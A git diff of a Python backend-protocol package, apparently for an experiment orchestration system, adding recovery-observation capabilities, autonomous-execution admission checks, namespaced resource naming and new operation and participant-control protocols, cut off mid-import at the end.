8c66ff6ae..8352a168b 100644 --- a/implementations/python/packages/raes_backend_protocols/capabilities.py +++ b/implementations/python/packages/raes_backend_protocols/capabilities.py @@ -5,6 +5,7 @@ from raes_contracts.controlled_vocabularies import validate_controlled_vocabulary_scope_values from raes_contracts.manifest_authority import validate_backend_supported_contract_versions +from raes_contracts.operation_lifecycle import OperationKind from raes_contracts.vocabulary import WorkflowFeature, WorkflowStatePredicateFeature from . import participant_capabilities as _participant_capabilities @@ -264,6 +265,24 @@ def __post_init__(self) -> None: raise ValueError("CleanupCapabilities reusable-state support requires residual-state disclosure") +@dataclass(frozen=True) +class RecoveryObservationCapabilities: + """Operational crash-recovery observation support, separate from EXP-715.""" + + name: str + supported_operation_kinds: frozenset[OperationKind] + + def __post_init__(self) -> None: + if not self.name.strip(): + raise ValueError("RecoveryObservationCapabilities.name must be non-empty") + if not self.supported_operation_kinds: + raise ValueError("RecoveryObservationCapabilities.supported_operation_kinds must not be empty") + if any(not isinstance(kind, OperationKind) for kind in self.supported_operation_kinds): + raise TypeError("supported_operation_kinds must contain OperationKind values") + if OperationKind.INDETERMINATE_RESOLUTION in self.supported_operation_kinds: + raise ValueError("administrative resolution is not a recoverable backend effect") + + @dataclass(frozen=True) class BackendCapabilitySet: """Backend-specific nested capability blocks.""" @@ -275,6 +294,7 @@ class BackendCapabilitySet: observation: ObservationCapabilities | None = None cleanup: CleanupCapabilities | None = None time: TimeCapabilities | None = None + recovery_observation: RecoveryObservationCapabilities | None = None def __getattr__(name: str) -> object: diff --git a/implementations/python/packages/raes_backend_protocols/capability_admission.py b/implementations/python/packages/raes_backend_protocols/capability_admission.py index a482ba5af..7c4e78b74 100644 --- a/implementations/python/packages/raes_backend_protocols/capability_admission.py +++ b/implementations/python/packages/raes_backend_protocols/capability_admission.py @@ -42,23 +42,32 @@ class AutonomousExecutionPolicy(ResourceGovernedPolicy, Protocol): max_occurrences: int max_burst_size: int execution_bindings: tuple[object, ...] + timing_minimum_ticks: int + timing_maximum_ticks: int + action_candidate_dependencies: tuple[tuple[str, ...], ...] + action_candidate_cooldown_ticks: tuple[int, ...] -_V2_ACTIVITY_FEATURES = frozenset( - { - "work-windows", - "timing-variation", - "weighted-selection", - "dependencies", - "bounded-retries", - "cooldowns", - "limited-bursts", - "occurrence-provenance", - } -) _V2_RANDOM_STREAM_PROFILE = "blake3-xof-participant-v1" +def _required_activity_features(policy: AutonomousExecutionPolicy) -> set[str]: + """Derive required support from the request, not a richest-profile bundle.""" + + features = {"work-windows", "weighted-selection", "occurrence-provenance"} + if policy.timing_minimum_ticks != policy.timing_maximum_ticks: + features.add("timing-variation") + if any(policy.action_candidate_dependencies): + features.add("dependencies") + if any(policy.action_candidate_max_retries): + features.add("bounded-retries") + if any(policy.action_candidate_cooldown_ticks): + features.add("cooldowns") + if policy.max_burst_size > 1: + features.add("limited-bursts") + return features + + def participant_runtime_capability_contract_gaps(manifest: BackendManifest) -> tuple[str, ...]: """Return missing contract surfaces for declared standard API-405 claims.""" @@ -109,7 +118,7 @@ def _autonomous_limit_gaps( ), ( "retries per occurrence", - max((max(policy.action_candidate_max_retries, default=0) or 1) for policy in policies), + max(max(policy.action_candidate_max_retries, default=0) for policy in policies), capability.max_autonomous_retries_per_occurrence, ), ( @@ -121,6 +130,14 @@ def _autonomous_limit_gaps( for label, required, supported in limits: if supported is None or required > supported: gaps.append(f"autonomous {label} require {required}, backend limit is {supported}") + required_concurrency = max(policy.max_in_flight for policy in policies) + if required_concurrency > 1 and not capability.supports_bounded_concurrency: + gaps.append("autonomous in-flight actions require bounded concurrency support") + if capability.max_concurrent_actions is None or required_concurrency > capability.max_concurrent_actions: + gaps.append( + f"autonomous in-flight actions require {required_concurrency}, backend concurrent-action " + f"limit is {capability.max_concurrent_actions}" + ) return gaps @@ -160,11 +177,14 @@ def _unsupported_autonomous_value_gaps( for label, required, supported in requirements if (unsupported := sorted(required - supported)) ] - if any( - policy.profile in {"participant-autonomous-execution/v2", "participant-autonomous-execution/v3"} + activity_policies = tuple( + policy for policy in policies - ): - missing_features = sorted(_V2_ACTIVITY_FEATURES - capability.supported_autonomous_activity_features) + if policy.profile in {"participant-autonomous-execution/v2", "participant-autonomous-execution/v3"} + ) + if activity_policies: + required_features = set().union(*(_required_activity_features(policy) for policy in activity_policies)) + missing_features = sorted(required_features - capability.supported_autonomous_activity_features) if missing_features: gaps.append(f"unsupported autonomous activity features: {', '.join(missing_features)}") if _V2_RANDOM_STREAM_PROFILE not in capability.supported_autonomous_random_stream_profiles: @@ -180,29 +200,39 @@ def _autonomous_execution_binding_gaps( declared = tuple(capability.execution_bindings) for policy in policies: for required in policy.execution_bindings: - matching = [ - binding - for binding in declared + required_digests = { + binding.contract_digest + for binding in getattr(policy, "temporal_bindings", ()) if binding.action_contract_address == required.action_contract_address - and binding.participant_implementation_ref == required.participant_implementation_ref - ] - exact = [ - binding - for binding in matching - if set(binding.target_addresses) == set(required.target_addresses) - and binding.max_action_attempts >= required.max_action_attempts - and binding.max_in_flight >= required.max_in_flight - ] + } + matching = [binding for binding in declared if _binding_identity_matches(binding, required)] + exact = [binding for binding in matching if _binding_capacity_matches(binding, required, required_digests)] if exact: continue required_targets = ", ".join(required.target_addresses) gaps.append( - "unsupported autonomous execution binding for " + "unsupported autonomous execution binding or temporal guarantee for " f"{required.action_contract_address} targets: {required_targets}" ) return gaps +def _binding_identity_matches(binding: object, required: object) -> bool: + return ( + binding.action_contract_address == required.action_contract_address + and binding.participant_implementation_ref == required.participant_implementation_ref + ) + + +def _binding_capacity_matches(binding: object, required: object, required_digests: set[str]) -> bool: + return ( + set(binding.target_addresses) == set(required.target_addresses) + and binding.max_action_attempts >= required.max_action_attempts + and binding.max_in_flight >= required.max_in_flight + and required_digests.issubset(binding.temporal_contract_digests) + ) + + def _requires_coordinated_reset( policies: tuple[AutonomousExecutionPolicy, ...], time_model: object, @@ -231,6 +261,28 @@ def _autonomous_reset_gaps( return ["autonomous clock reset requires coordinated participant reset support"] +def _autonomous_temporal_binding_gaps( + policies: tuple[AutonomousExecutionPolicy, ...], + time_model: object | None, +) -> list[str]: + """A constraint-kind claim cannot substitute for an action/event binding.""" + + constraints = {constraint.address: constraint for constraint in getattr(time_model, "constraints", ())} + gaps: list[str] = [] + for policy in policies: + bindings = getattr(policy, "temporal_bindings", ()) + bound_constraints = {binding.constraint_address for binding in bindings} + if policy.profile != "participant-autonomous-execution/v1": + continue + for address in policy.temporal_constraint_addresses: + constraint = constraints.get(address) + if constraint is not None and constraint.kind != "cadence" and address not in bound_constraints: + gaps.append( + f"autonomous {constraint.kind} constraint {address} requires an explicit action temporal binding" + ) + return gaps + + def participant_autonomous_execution_capability_gaps( manifest: BackendManifest, policies: Iterable[AutonomousExecutionPolicy], @@ -254,6 +306,7 @@ def participant_autonomous_execution_capability_gaps( ) gaps.extend(participant_resource_budget_gaps(manifest, capability, normalized_policies)) gaps.extend(_autonomous_reset_gaps(manifest, normalized_policies, time_model)) + gaps.extend(_autonomous_temporal_binding_gaps(normalized_policies, time_model)) return tuple(gaps) diff --git a/implementations/python/packages/raes_backend_protocols/manifest.py b/implementations/python/packages/raes_backend_protocols/manifest.py index dde5152ce..12bd97773 100644 --- a/implementations/python/packages/raes_backend_protocols/manifest.py +++ b/implementations/python/packages/raes_backend_protocols/manifest.py @@ -23,6 +23,7 @@ ParticipantRuntimeCapabilitiesModel, RealizationObservationCapabilityModel, RealizationSupportDeclarationModel, + RecoveryObservationCapabilitiesModel, TimeCapabilitiesModel, ) from raes_contracts.manifest_authority import BACKEND_SUPPORTED_CONTRACT_IDS @@ -37,6 +38,7 @@ OrchestratorCapabilities, ParticipantFeatureSupport, ParticipantRuntimeCapabilities, + RecoveryObservationCapabilities, TimeCapabilities, ) from .observation_manifest import observation_capability_payload, observation_from_model @@ -239,6 +241,17 @@ def backend_manifest_v2_model(manifest: BackendManifest) -> BackendManifestV2Mod if manifest.time is not None else None ), + "recovery_observation": ( + RecoveryObservationCapabilitiesModel( + name=manifest.recovery_observation.name, + supported_operation_kinds=sorted( + manifest.recovery_observation.supported_operation_kinds, + key=lambda kind: kind.value, + ), + ).model_dump(mode="json") + if manifest.recovery_observation is not None + else None + ), }, ) @@ -251,6 +264,8 @@ def backend_manifest_payload(manifest: BackendManifest) -> dict[str, Any]: payload.pop("realization_envelope", None) if payload["capabilities"].get("time") is None: payload["capabilities"].pop("time", None) + if payload["capabilities"].get("recovery_observation") is None: + payload["capabilities"].pop("recovery_observation", None) return payload @@ -388,6 +403,17 @@ def _time_from_model(model: TimeCapabilitiesModel | None) -> TimeCapabilities | ) +def _recovery_observation_from_model( + model: RecoveryObservationCapabilitiesModel | None, +) -> RecoveryObservationCapabilities | None: + if model is None: + return None + return RecoveryObservationCapabilities( + name=model.name, + supported_operation_kinds=frozenset(model.supported_operation_kinds), + ) + + def _capability_set_from_model(model: BackendCapabilitiesV2Model) -> BackendCapabilitySet: return BackendCapabilitySet( provisioner=provisioner_from_model(model.provisioner), @@ -397,6 +423,7 @@ def _capability_set_from_model(model: BackendCapabilitiesV2Model) -> BackendCapa observation=observation_from_model(model.observation), cleanup=_cleanup_from_model(model.cleanup), time=_time_from_model(model.time), + recovery_observation=_recovery_observation_from_model(model.recovery_observation), ) diff --git a/implementations/python/packages/raes_backend_protocols/naming.py b/implementations/python/packages/raes_backend_protocols/naming.py index 5f63f60ca..3f8486eb0 100644 --- a/implementations/python/packages/raes_backend_protocols/naming.py +++ b/implementations/python/packages/raes_backend_protocols/naming.py @@ -15,14 +15,27 @@ def provider_resource_name( address: str, *, prefix: str = "", + namespace: str = "", maximum_length: int = 63, ) -> str: - """Return a bounded readable name whose suffix commits to *address*.""" + """Return a bounded readable name whose suffix commits to *address*. + + ``namespace`` binds the name to one run so concurrent runs realizing the + same address never contend for a single native resource name. It commits + through the digest rather than the readable head, so the address stays + legible and the bound stays the same. The empty default reproduces the + un-namespaced name exactly. + """ require_compiled_address(address) if isinstance(maximum_length, bool) or not isinstance(maximum_length, int) or maximum_length < 16: raise ValueError("provider resource name maximum_length must be an integer >= 16") - digest = hashlib.sha256(address.encode("utf-8")).hexdigest()[:_DIGEST_LENGTH] + if not isinstance(namespace, str): + raise TypeError("provider resource name namespace must be a string") + # NUL cannot appear in either component, so the join is unambiguous and one + # namespace/address pair can never be spelled as another. + committed = address if not namespace else f"{namespace}\0{address}" + digest = hashlib.sha256(committed.encode("utf-8")).hexdigest()[:_DIGEST_LENGTH] readable = _UNSAFE_PROVIDER_NAME.sub("-", address.lower()).strip("-._") or "resource" safe_prefix = _UNSAFE_PROVIDER_NAME.sub("-", prefix.lower()).strip("-._") if safe_prefix: diff --git a/implementations/python/packages/raes_backend_protocols/observation_capture.py b/implementations/python/packages/raes_backend_protocols/observation_capture.py index 95dcbc5f8..3bbb00ac5 100644 --- a/implementations/python/packages/raes_backend_protocols/observation_capture.py +++ b/implementations/python/packages/raes_backend_protocols/observation_capture.py @@ -6,6 +6,9 @@ from collections.abc import Collection from dataclasses import dataclass +from raes_contracts.capture_dimensions import CAPTURE_SET_FIELDS, capture_offer_payload +from raes_contracts.evidence_output_validation import validate_evidence_output_offer + def _validate_unique_non_empty_strings(field_name: str, values: Collection[str]) -> None: if any(not value.strip() for value in values): @@ -48,34 +51,12 @@ def __post_init__(self) -> None: _validate_offer_identity(self) _validate_offer_collections(self) _validate_offer_governance(self) + validate_evidence_output_offer(self.output_contract, self.media_types) def to_payload(self) -> dict[str, object]: """Return the canonical plain-data representation.""" - return { - "offer_id": self.offer_id, - "offer_version": self.offer_version, - "output_contract": self.output_contract, - "field_selectors": list(self.field_selectors), - "artifact_roles": sorted(self.artifact_roles), - "media_types": sorted(self.media_types), - "capture_kind": self.capture_kind, - "source_classes": sorted(self.source_classes), - "source_refs": sorted(self.source_refs), - "scopes": sorted(self.scopes), - "scope_refs": sorted(self.scope_refs), - "channel_kinds": sorted(self.channel_kinds), - "channel_refs": sorted(self.channel_refs), - "window_kinds": sorted(self.window_kinds), - "integrity_modes": sorted(self.integrity_modes), - "sensitivity": self.sensitivity, - "availability": self.availability, - "fidelity": self.fidelity, - "disclosure": self.disclosure, - "retention_policy_refs": sorted(self.retention_policy_refs), - "export_policy": self.export_policy, - "redaction_policy": self.redaction_policy, - } + return capture_offer_payload(self) def _validate_offer_identity(offer: ObservationCaptureOffer) -> None: @@ -89,19 +70,7 @@ def _validate_offer_identity(offer: ObservationCaptureOffer) -> None: def _validate_offer_collections(offer: ObservationCaptureOffer) -> None: - for field_name in ( - "artifact_roles", - "media_types", - "source_classes", - "source_refs", - "scopes", - "scope_refs", - "channel_kinds", - "channel_refs", - "window_kinds", - "integrity_modes", - "retention_policy_refs", - ): + for field_name in CAPTURE_SET_FIELDS: _validate_unique_non_empty_strings(f"ObservationCaptureOffer.{field_name}", getattr(offer, field_name)) if not all((offer.field_selectors, offer.artifact_roles, offer.media_types, offer.source_classes, offer.scopes)): raise ValueError("capture offers require fields, artifact roles, media types, source classes, and scopes") diff --git a/implementations/python/packages/raes_backend_protocols/observation_manifest.py b/implementations/python/packages/raes_backend_protocols/observation_manifest.py index e4cc850b4..c534b9135 100644 --- a/implementations/python/packages/raes_backend_protocols/observation_manifest.py +++ b/implementations/python/packages/raes_backend_protocols/observation_manifest.py @@ -2,6 +2,7 @@ from __future__ import annotations +from raes_contracts.capture_dimensions import capture_offer_fields from raes_contracts.contracts import ObservationCapabilitiesModel from .capabilities import ObservationCapabilities @@ -43,33 +44,7 @@ def observation_from_model(model: ObservationCapabilitiesModel | None) -> Observ supports_redaction=model.supports_redaction, supports_loss_disclosure=model.supports_loss_disclosure, supports_chain_of_custody=model.supports_chain_of_custody, - capture_offers=tuple( - ObservationCaptureOffer( - offer_id=offer.offer_id, - offer_version=offer.offer_version, - output_contract=offer.output_contract, - field_selectors=tuple(offer.field_selectors), - artifact_roles=frozenset(offer.artifact_roles), - media_types=frozenset(offer.media_types), - capture_kind=offer.capture_kind, - source_classes=frozenset(offer.source_classes), - source_refs=frozenset(offer.source_refs), - scopes=frozenset(offer.scopes), - scope_refs=frozenset(offer.scope_refs), - channel_kinds=frozenset(offer.channel_kinds), - channel_refs=frozenset(offer.channel_refs), - window_kinds=frozenset(offer.window_kinds), - integrity_modes=frozenset(offer.integrity_modes), - sensitivity=offer.sensitivity, - availability=offer.availability, - fidelity=offer.fidelity, - disclosure=offer.disclosure, - retention_policy_refs=frozenset(offer.retention_policy_refs), - export_policy=offer.export_policy, - redaction_policy=offer.redaction_policy, - ) - for offer in model.capture_offers - ), + capture_offers=tuple(ObservationCaptureOffer(**capture_offer_fields(offer)) for offer in model.capture_offers), constraints=dict(model.constraints), ) diff --git a/implementations/python/packages/raes_backend_protocols/operation_supervision.py b/implementations/python/packages/raes_backend_protocols/operation_supervision.py new file mode 100644 index 000000000..68791693e --- /dev/null +++ b/implementations/python/packages/raes_backend_protocols/operation_supervision.py @@ -0,0 +1,93 @@ +"""Optional one-invocation backend protocol; RAE retains scenario and state authority.""" + +from __future__ import annotations + +from collections.abc import Iterable +from inspect import signature +from typing import Protocol, cast + +from raes_contracts.contracts import ( + BackendOperationCapabilitiesModel, + BackendOperationControlModel, + BackendOperationRequestModel, + BackendOperationResponseModel, +) +from raes_contracts.manifest_authority import validate_backend_supported_contract_versions +from raes_contracts.versions import BACKEND_OPERATION_CONTRACT_IDS + + +class BackendOperationProvider(Protocol): + """Bounded calls on separately provisioned effect/control capacity. + + All responses echo the exact invocation binding and request commitment. + Callers authenticate and authorize separately, resolve the command and + requirements through their owning authorities, and consume the current + one-use invocation claim before start. No method schedules scenario work, + allocates a trial/retry, publishes a snapshot or commits a terminal state. + A caller timeout cannot establish that any remote effects have stopped. + """ + + def operation_capabilities(self) -> BackendOperationCapabilitiesModel: + """Return the installed declaration; it supplies no contextual willingness.""" + ... + + def check_operation(self, request: BackendOperationRequestModel) -> BackendOperationResponseModel: + """Return admission/refusal without effects; recheck immediately before dispatch.""" + ... + + def start_operation(self, request: BackendOperationRequestModel) -> BackendOperationResponseModel: + """Return acknowledgement; duplicate identity never starts another effect. + + A refusal establishes that this invocation did not start. Once effects + are possible, report uncertainty/outcome evidence through observation. + """ + ... + + def observe_operation(self, request: BackendOperationControlModel) -> BackendOperationResponseModel: + """Return one progress, outcome, reconciliation or control-disposition record. + + Reads are bounded and independently authorized. An observation with + effects of its own requires separate effect admission, not this method. + """ + ... + + def cancel_operation(self, request: BackendOperationControlModel) -> BackendOperationResponseModel: + """Return control disposition; acceptance is not cessation or rollback.""" + ... + + def reconcile_operation(self, request: BackendOperationControlModel) -> BackendOperationResponseModel: + """Return read-only reconciliation evidence or an explicit control refusal.""" + ... + + +def require_operation_provider(provider: object, declared_contracts: Iterable[str]) -> BackendOperationProvider: + """Validate opt-in declaration and installed call shapes without invoking code. + + This public protocol boundary cannot import the runtime's private registry + checker. It provides the same signature binding for independent embedders; + behavioral conformance and contextual admission remain separate checks. + """ + + declared = tuple(declared_contracts) + validate_backend_supported_contract_versions(declared) + if not set(BACKEND_OPERATION_CONTRACT_IDS) <= set(declared): + raise ValueError("backend operation contracts are not declared") + for name in ( + "operation_capabilities", + "check_operation", + "start_operation", + "observe_operation", + "cancel_operation", + "reconcile_operation", + ): + method = getattr(provider, name, None) + if not callable(method): + raise ValueError("backend operation protocol is not installed") + try: + signature(method).bind(*(() if name == "operation_capabilities" else (object(),))) + except (TypeError, ValueError): + raise ValueError("installed backend operation method has incompatible call shape") from None + return cast(BackendOperationProvider, provider) + + +__all__ = ["BackendOperationProvider", "require_operation_provider"] diff --git a/implementations/python/packages/raes_backend_protocols/participant_capabilities.py b/implementations/python/packages/raes_backend_protocols/participant_capabilities.py index f4964ab62..c5614822d 100644 --- a/implementations/python/packages/raes_backend_protocols/participant_capabilities.py +++ b/implementations/python/packages/raes_backend_protocols/participant_capabilities.py @@ -2,7 +2,9 @@ from dataclasses import dataclass, field +from pydantic import TypeAdapter from raes_contracts.addressing import require_compiled_address +from raes_contracts.contracts.participant_execution import ParticipantExecutionBindingModel from raes_contracts.controlled_vocabularies import validate_controlled_vocabulary_scope_values from raes_contracts.manifest_authority import ( PARTICIPANT_RUNTIME_BEHAVIOR_FEATURE_SCOPE, @@ -131,6 +133,7 @@ class ParticipantExecutionBinding: max_in_flight: int timeout_seconds: int max_retries: int + temporal_contract_digests: tuple[str, ...] = () def __post_init__(self) -> None: for field_name in ( @@ -167,6 +170,10 @@ def __post_init__(self) -> None: raise ValueError(f"ParticipantExecutionBinding.{field_name} must be positive") if self.max_retries < 0: raise ValueError("ParticipantExecutionBinding.max_retries must be non-negative") + digest_field = ParticipantExecutionBindingModel.model_fields["temporal_contract_digests"] + digests = TypeAdapter(digest_field.rebuild_annotation()).validate_python(self.temporal_contract_digests) + _validate_unique_non_empty_strings("ParticipantExecutionBinding.temporal_contract_digests", digests) + object.__setattr__(self, "temporal_contract_digests", digests) @dataclass(frozen=True) @@ -221,8 +228,6 @@ def _validate_required_vocabularies(self) -> None: ("supported_behavior_features", self.supported_behavior_features), ("supported_interaction_features", self.supported_interaction_features), ): - if not values: - raise ValueError(f"ParticipantRuntimeCapabilities.{field_name} must not be empty") if any(not value.strip() for value in values): raise ValueError(f"ParticipantRuntimeCapabilities.{field_name} must not contain empty strings") validate_controlled_vocabulary_scope_values( @@ -299,8 +304,9 @@ def _validate_enabled_autonomous_execution(self) -> None: self._validate_autonomous_addresses() self._validate_execution_control() for label, value in self._autonomous_limits(): - if value is None or value < 1: - raise ValueError(f"autonomous execution requires positive {label}") + minimum = 0 if label == "max_autonomous_retries_per_occurrence" else 1 + if value is None or value < minimum: + raise ValueError(f"autonomous execution requires {label} >= {minimum}") def _validate_activity_profiles(self) -> None: if { @@ -323,21 +329,18 @@ def _validate_execution_control(self) -> None: self._validate_execution_bindings() def _validate_execution_control_actions(self) -> None: - if not self.supports_execution_control: - raise ValueError("autonomous execution requires execution control support") - missing_actions = PARTICIPANT_EXECUTION_CONTROL_ACTIONS - self.supported_execution_control_actions - if missing_actions: - raise ValueError("execution control is missing required actions: " + ", ".join(sorted(missing_actions))) + if self.supports_execution_control != bool(self.supported_execution_control_actions): + raise ValueError("execution control support flag and supported actions must agree") unknown_actions = self.supported_execution_control_actions - PARTICIPANT_EXECUTION_CONTROL_ACTIONS if unknown_actions: raise ValueError("unsupported execution control actions: " + ", ".join(sorted(unknown_actions))) def _validate_execution_capacity(self) -> None: - if not self.supports_bounded_concurrency: - raise ValueError("autonomous execution requires bounded concurrency support") - if self.max_execution_services is None or self.max_execution_services < 1: - raise ValueError("autonomous execution requires positive max_execution_services") - if self.max_concurrent_actions is None or self.max_concurrent_actions < 2: + if self.supports_execution_control and (self.max_execution_services is None or self.max_execution_services < 1): + raise ValueError("execution control requires positive max_execution_services") + if self.max_concurrent_actions is None or self.max_concurrent_actions < 1: + raise ValueError("autonomous execution requires positive max_concurrent_actions") + if self.supports_bounded_concurrency and self.max_concurrent_actions < 2: raise ValueError("bounded concurrency requires max_concurrent_actions of at least 2") def _validate_execution_bindings(self) -> None: diff --git a/implementations/python/packages/raes_backend_protocols/participant_control_admission.py b/implementations/python/packages/raes_backend_protocols/participant_control_admission.py new file mode 100644 index 000000000..5a6d211a4 --- /dev/null +++ b/implementations/python/packages/raes_backend_protocols/participant_control_admission.py @@ -0,0 +1,37 @@ +"""API-424 adapter to the incumbent API-407 manifest support authority.""" + +from raes_contracts.contracts.participant_control_composition import control_digest +from raes_contracts.contracts.participant_control_results import ControlEffectiveSupportModel +from raes_contracts.vocabulary import ParticipantFeatureSupportLevel + +from .backend_manifest import BackendManifest +from .manifest import backend_manifest_v2_model +from .participant_feature_admission import resolve_participant_feature_support + + +def resolve_participant_control_support(manifest: BackendManifest, support: ControlEffectiveSupportModel) -> str: + """Resolve an independently obtained manifest; never install or execute. + + The caller resolves manifest identity/revision through its trusted artifact + store. This adapter checks exact content and delegates declared strength and + conformance evidence to API-407. Effective support remains a separate check. + """ + try: + if control_digest(backend_manifest_v2_model(manifest)) != support.declaration_ref.digest: + raise ValueError("manifest differs") + if support.declared_level == "unsupported": + entries = manifest.participant_runtime.feature_support if manifest.participant_runtime else () + if not any( + entry.feature == support.feature and entry.support_level == ParticipantFeatureSupportLevel.UNSUPPORTED + for entry in entries + ): + raise ValueError("unsupported declaration absent") + return "unsupported" + declaration = resolve_participant_feature_support( + manifest, support.feature, required_level=ParticipantFeatureSupportLevel(support.declared_level) + ) + if declaration is None or declaration.support_level.value != support.declared_level: + raise ValueError("missing or different declaration") + return declaration.support_level.value + except Exception: + raise ValueError("participant control manifest support is unresolved") from None diff --git a/implementations/python/packages/raes_backend_protocols/participant_execution_manifest.py b/implementations/python/packages/raes_backend_protocols/participant_execution_manifest.py index d62432752..7a2eff95b 100644 --- a/implementations/python/packages/raes_backend_protocols/participant_execution_manifest.py +++ b/implementations/python/packages/raes_backend_protocols/participant_execution_manifest.py @@ -27,6 +27,7 @@ def participant_execution_capability_payload( max_in_flight=binding.max_in_flight, timeout_seconds=binding.timeout_seconds, max_retries=binding.max_retries, + temporal_contract_digests=binding.temporal_contract_digests, ) for binding in capability.execution_bindings ], @@ -59,6 +60,7 @@ def participant_execution_capability_kwargs(model: object) -> dict[str, object]: max_in_flight=binding.max_in_flight, timeout_seconds=binding.timeout_seconds, max_retries=binding.max_retries, + temporal_contract_digests=tuple(binding.temporal_contract_digests), ) for binding in model.execution_bindings ), diff --git a/implementations/python/packages/raes_backend_protocols/protocols.py b/implementations/python/packages/raes_backend_protocols/protocols.py index 3ffed1eeb..239d21582 100644 --- a/implementations/python/packages/raes_backend_protocols/protocols.py +++ b/implementations/python/packages/raes_backend_protocols/protocols.py @@ -7,6 +7,12 @@ from raes_contracts.contracts import ( ParticipantTemporalRuntimeContextModel, ) +from raes_contracts.contracts.participant_control_composition import ParticipantControlRequestModel +from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + ControlMechanismResultV2Model, +) +from raes_contracts.contracts.participant_control_results import ControlMechanismResultModel from raes_contracts.contracts.participant_execution import ( ParticipantExecutionControlRequestModel, ParticipantExecutionServiceStateModel, @@ -28,6 +34,28 @@ from raes_contracts.contracts.time_model import TimeModelDeclarationModel, TimeRuntimeStateModel +class ParticipantControlProvider(Protocol): + """Operator-bound API-424 resolver, explicitly negotiated as provider/v1. + + Resolve immutable admitted inputs without world effects. Returned state is + speculative until the runtime's atomic commit. Structural method presence + does not establish installation, capability, authority or realization. + """ + + def resolve(self, request: ParticipantControlRequestModel) -> tuple[ControlMechanismResultModel, ...]: ... + + +class ParticipantControlProviderV2(Protocol): + """Separately negotiated provider/v2 over one detached slot/stage input. + + The invocation supplies exact content-bound predecessor and scoped-state + references. An installed backend resolves only its admitted projection; + method presence alone proves no capability, authority or realization. + """ + + def resolve_stage(self, invocation: ControlInvocationV2Model) -> tuple[ControlMechanismResultV2Model, ...]: ... + + class Provisioner(Protocol): """Applies provisioning plans to the target environment.""" diff --git a/implementations/python/packages/raes_backend_protocols/recovery_observation.py b/implementations/python/packages/raes_backend_protocols/recovery_observation.py new file mode 100644 index 000000000..d2de6a5ac --- /dev/null +++ b/implementations/python/packages/raes_backend_protocols/recovery_observation.py @@ -0,0 +1,82 @@ +"""Backend-neutral, read-only crash-recovery effect observation.""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from enum import Enum +from typing import Protocol + +from raes_contracts.operation_lifecycle import OperationKind +from raes_contracts.runtime_state import RuntimeSnapshot, validate_changed_addresses + + +class RecoveryEffectClassification(str, Enum): + """Closed operational classification for an interrupted effect.""" + + EFFECT_ABSENT = "effect-absent" + EFFECT_APPLIED = "effect-applied" + INDETERMINATE = "indeterminate" + + +@dataclass(frozen=True) +class RecoveryObservationRequest: + """Minimum value-free context used to bind one recovery readback.""" + + operation_id: str + operation_kind: OperationKind + target_scope: str + run_scope: str + request_commitment: str + baseline_snapshot: RuntimeSnapshot + + def __post_init__(self) -> None: + for name in ("operation_id", "target_scope", "run_scope", "request_commitment"): + value = getattr(self, name) + if not value or len(value) > 256: + raise ValueError(f"{name} must contain between 1 and 256 characters") + if not isinstance(self.operation_kind, OperationKind): + raise TypeError("operation_kind must be an OperationKind") + if not re.fullmatch(r"sha256:[a-f0-9]{64}", self.request_commitment): + raise ValueError("request_commitment must be a canonical sha256 digest") + if not isinstance(self.baseline_snapshot, RuntimeSnapshot): + raise TypeError("baseline_snapshot must be a RuntimeSnapshot") + + +@dataclass(frozen=True) +class RecoveryObservationResult: + """Bound recovery classification and optional neutral applied state.""" + + classification: RecoveryEffectClassification + operation_id: str + request_commitment: str + snapshot: RuntimeSnapshot | None = None + changed_addresses: tuple[str, ...] = () + + def __post_init__(self) -> None: + if not self.operation_id or len(self.operation_id) > 256: + raise ValueError("operation_id must contain between 1 and 256 characters") + if not re.fullmatch(r"sha256:[a-f0-9]{64}", self.request_commitment): + raise ValueError("request_commitment must be a canonical sha256 digest") + if not isinstance(self.classification, RecoveryEffectClassification): + raise TypeError("classification must be a RecoveryEffectClassification") + validate_changed_addresses(list(self.changed_addresses)) + applied = self.classification is RecoveryEffectClassification.EFFECT_APPLIED + if applied != (self.snapshot is not None): + raise ValueError("effect-applied requires a snapshot and other classifications forbid one") + if not applied and self.changed_addresses: + raise ValueError("only effect-applied may report changed addresses") + + +class RecoveryObserver(Protocol): + """Read-only operational observer used during startup reconciliation.""" + + def observe_effect(self, request: RecoveryObservationRequest) -> RecoveryObservationResult: ... + + +__all__ = ( + "RecoveryEffectClassification", + "RecoveryObservationRequest", + "RecoveryObservationResult", + "RecoveryObserver", +) diff --git a/implementations/python/packages/raes_backend_stubs/manifest.py b/implementations/python/packages/raes_backend_stubs/manifest.py index dfc204de3..e5265ef5f 100644 --- a/implementations/python/packages/raes_backend_stubs/manifest.py +++ b/implementations/python/packages/raes_backend_stubs/manifest.py @@ -47,6 +47,7 @@ from raes_contracts.corpus import REALIZATION_ENVELOPES, corpus_family_root from raes_contracts.manifest_authority import BACKEND_SUPPORTED_CONTRACT_IDS from raes_contracts.realization_envelope import BackendRealizationEnvelopeModel +from raes_contracts.versions import BACKEND_OPERATION_CONTRACT_IDS from raes_contracts.vocabulary import ( ParticipantFeatureSupportLevel, RealizationSupportMode, @@ -54,6 +55,9 @@ ) REFERENCE_BACKEND_SUPPORTED_CONTRACT_VERSIONS = frozenset(BACKEND_SUPPORTED_CONTRACT_IDS) - { + *BACKEND_OPERATION_CONTRACT_IDS, + "backend-materialization-attestation-v1", + "backend-augmentation-scope-v1", "backend-realization-preparation-v1", "plan-realization-profiles-v1", "experiment-binding-descriptors-v1", diff --git a/implementations/python/packages/raes_cli/main.py b/implementations/python/packages/raes_cli/main.py index bec366cac..1dd5c96b3 100644 --- a/implementations/python/packages/raes_cli/main.py +++ b/implementations/python/packages/raes_cli/main.py @@ -2,7 +2,7 @@ import typer -from raes_cli import conformance, corpus, libvirt, processor, sdl, semantic +from raes_cli import conformance, corpus, libvirt, processor, runtime, sdl, semantic from raes_cli.entrypoint import _distribution_version app = typer.Typer( @@ -17,6 +17,7 @@ app.add_typer(semantic.app, name="semantic") app.add_typer(libvirt.app, name="libvirt") app.add_typer(corpus.app, name="corpus") +app.add_typer(runtime.app, name="runtime") def _version_callback(value: bool) -> None: diff --git a/implementations/python/packages/raes_cli/processor.py b/implementations/python/packages/raes_cli/processor.py index fbf3b6b97..e3f230edb 100644 --- a/implementations/python/packages/raes_cli/processor.py +++ b/implementations/python/packages/raes_cli/processor.py @@ -27,6 +27,8 @@ orchestration_plan_model, provisioning_plan_model, ) +from raes_contracts.planning import ChangeAction +from raes_contracts.runtime_state import RuntimeSnapshot from raes_processor.exploit_path import ( ANALYSIS_PROFILE as 